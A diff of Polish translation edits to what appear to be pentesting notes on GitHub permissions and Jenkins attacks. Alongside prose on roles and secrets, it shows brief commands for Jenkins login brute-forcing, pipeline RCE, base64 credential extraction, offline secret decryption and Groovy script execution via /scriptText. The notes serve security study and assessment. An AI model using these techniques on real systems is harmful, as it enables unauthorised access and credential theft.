- **Zarządzanie**: Zalecane dla **menedżerów projektów, którzy muszą zarządzać repozytorium** bez dostępu do wrażliwych lub destrukcyjnych działań.
|
||||
- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytorium.
|
||||
- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytoriów.
|
||||
|
||||
Możesz **porównać uprawnienia** każdej roli w tej tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
@@ -98,11 +98,11 @@ Aplikacje Oauth mogą prosić cię o uprawnienia **do uzyskania dostępu do czę
|
||||
- Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Możesz zobaczyć dostęp aplikacji trzecich w **organizacji** w _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Kilka **zalecenia dotyczące bezpieczeństwa**:
|
||||
|
||||
- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownikowi) i mieć dostęp tylko do określonych zakresów.
|
||||
- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów.
|
||||
- Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika.
|
||||
- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_** repozytoriach uwierzytelnionego użytkownika.
|
||||
- **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu.
|
||||
@@ -116,23 +116,23 @@ Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich i
|
||||
- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
|
||||
- Możesz stworzyć własną aplikację Github w [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Możesz zobaczyć wszystkie **aplikacje Github, które mają dostęp do twojego konta** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Oto **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich.
|
||||
- To są **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich.
|
||||
- Możesz zobaczyć zainstalowane aplikacje w **organizacji** w _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Kilka zaleceń dotyczących bezpieczeństwa:
|
||||
|
||||
- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz użyć tokenów dostępu, które wygasną po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Aby uzyskać więcej informacji, zobacz "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**.
|
||||
- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
|
||||
- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może zrobić użytkownik.
|
||||
- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może użyć [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
|
||||
- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik.
|
||||
- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
|
||||
- Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić.
|
||||
- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Więcej informacji znajdziesz w "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Aby uzyskać więcej informacji, zobacz "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji.
|
||||
To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** przyznanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji.
|
||||
|
||||
## Akcje Git
|
||||
|
||||
@@ -148,7 +148,7 @@ Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do urucho
|
||||
|
||||
### Sekrety Git
|
||||
|
||||
Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci jawnej** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**.
|
||||
Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci czystego tekstu** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**.
|
||||
|
||||
Te sekrety mogą być skonfigurowane **dla repozytorium lub dla całej organizacji**. Następnie, aby **Akcja mogła uzyskać dostęp do sekretu**, musisz zadeklarować go w ten sposób:
|
||||
```yaml
|
||||
@@ -196,7 +196,7 @@ Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://git
|
||||
|
||||
Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github.
|
||||
|
||||
**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy runner.
|
||||
**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy.
|
||||
|
||||
Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna.
|
||||
|
||||
@@ -208,12 +208,12 @@ Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłb
|
||||
> Uruchomiona **złośliwa Akcja Github** mogłaby być **wykorzystana** przez atakującego do:
|
||||
>
|
||||
> - **Kraść wszystkie sekrety**, do których Akcja ma dostęp
|
||||
> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych)
|
||||
> - **Wykorzystać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**.
|
||||
> - **Przemieszczać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych)
|
||||
> - **Wykorzystywać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**.
|
||||
|
||||
## Ochrona gałęzi
|
||||
## Branch Protections
|
||||
|
||||
Ochrona gałęzi jest zaprojektowana, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
|
||||
Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
|
||||
|
||||
**Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
@@ -225,7 +225,7 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master):
|
||||
- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to zostanie wybrane, mogą być wprowadzone różne inne ochrony:
|
||||
- **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu.
|
||||
- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić.
|
||||
- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić)
|
||||
- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić).
|
||||
- **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów.
|
||||
- **Zezwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
|
||||
- **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów).
|
||||
@@ -238,7 +238,7 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master):
|
||||
> [!NOTE]
|
||||
> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master**, na przykład, aby skompromitować pipeline CI/CD.
|
||||
|
||||
## Odniesienia
|
||||
## References
|
||||
|
||||
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
|
||||
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Jenkins to narzędzie, które oferuje prostą metodę do ustanowienia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
|
||||
Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -46,11 +46,11 @@ Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzeni
|
||||
|
||||
### **Logowanie SSO**
|
||||
|
||||
Jeśli **funkcjonalność**/**wtyczki** **SSO** były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Jeśli **funkcjonalność**/**wtyczki** SSO były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** nie ma **polityki haseł** ani **ochrony przed atakami brute-force na nazwy użytkowników**. Ważne jest, aby **brute-forcować** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**.
|
||||
**Jenkins** nie ma **polityki haseł** ani **łagodzenia ataków brute-force na nazwy użytkowników**. Ważne jest, aby **próbować brute-force** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
@@ -93,7 +93,7 @@ gitleaks detect --no-git -v
|
||||
```
|
||||
### **Kradzież poświadczeń SSH**
|
||||
|
||||
Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już przechowywane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta:
|
||||
Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już zapisane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -135,7 +135,7 @@ Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins.
|
||||
|
||||
### Pipeline Budowy
|
||||
|
||||
**Pipeline** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`:
|
||||
**Pipelines** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -151,7 +151,7 @@ Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
|
||||
- **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób
|
||||
|
||||
> [!NOTE]
|
||||
> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomplikować firmy, po prostu to eksploatując**.
|
||||
> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to eksploatując**.
|
||||
|
||||
### RCE Pipeline
|
||||
|
||||
@@ -159,7 +159,7 @@ W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikuj
|
||||
|
||||
### Sprawdzanie zmiennych środowiskowych
|
||||
|
||||
Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfile:**
|
||||
Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:**
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -182,9 +182,9 @@ Aby uzyskać informacje na temat tego, jak sekrety są zazwyczaj traktowane prze
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job/<project-name>/configure`). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.
|
||||
Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job/<project-name>/configure`). Dlatego, aby wyeksportować je wszystkie, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.
|
||||
|
||||
Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**:
|
||||
Jest jeszcze jeden problem, aby uzyskać **sekret w env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
@@ -232,9 +232,9 @@ triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Sprawdź **inne przykłady w dokumentacji**.
|
||||
|
||||
### Węzły i agenci
|
||||
### Węzły i Agenci
|
||||
|
||||
Instancja **Jenkins** może mieć **różne agenty działające na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn.
|
||||
Instancja **Jenkins** może mieć **różnych agentów działających na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
|
||||
|
||||
@@ -286,7 +286,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## Odczyt dowolnych plików do RCE
|
||||
## Odczyt dowolnego pliku do RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Decrypt Jenkins secrets offline
|
||||
#### Decryptuj sekrety Jenkins offline
|
||||
|
||||
Jeśli masz zrzut **potrzebnych haseł do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
|
||||
Jeśli zrzuciłeś **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
|
||||
@@ -61,13 +61,13 @@ Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą być **zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
|
||||
|
||||
**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie.
|
||||
**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym czasie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym czasie.
|
||||
|
||||
## Sekrety Jenkins
|
||||
|
||||
### Szyfrowanie sekretów i poświadczeń
|
||||
|
||||
Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub za pośrednictwem API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują:
|
||||
Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptografii) jest **przechowywany \_w postaci niezaszyfrowanej\_** na systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują:
|
||||
|
||||
- `hudson.util.Secret`: używany do ogólnych sekretów;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń;
|
||||
@@ -77,7 +77,7 @@ Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets
|
||||
|
||||
Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez każdy skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job/<project-name>/configure`), a zatem dostępne tylko z konkretnego projektu.
|
||||
|
||||
Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane w potoku bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w dzienniku budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w dzienniku budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
|
||||
Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
|
||||
|
||||
**Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.**
|
||||
|
||||
|
||||
+2
-2
@@ -98,8 +98,8 @@ curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.
|
||||
- Skrypt Groovy może być używany do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.
|
||||
|
||||
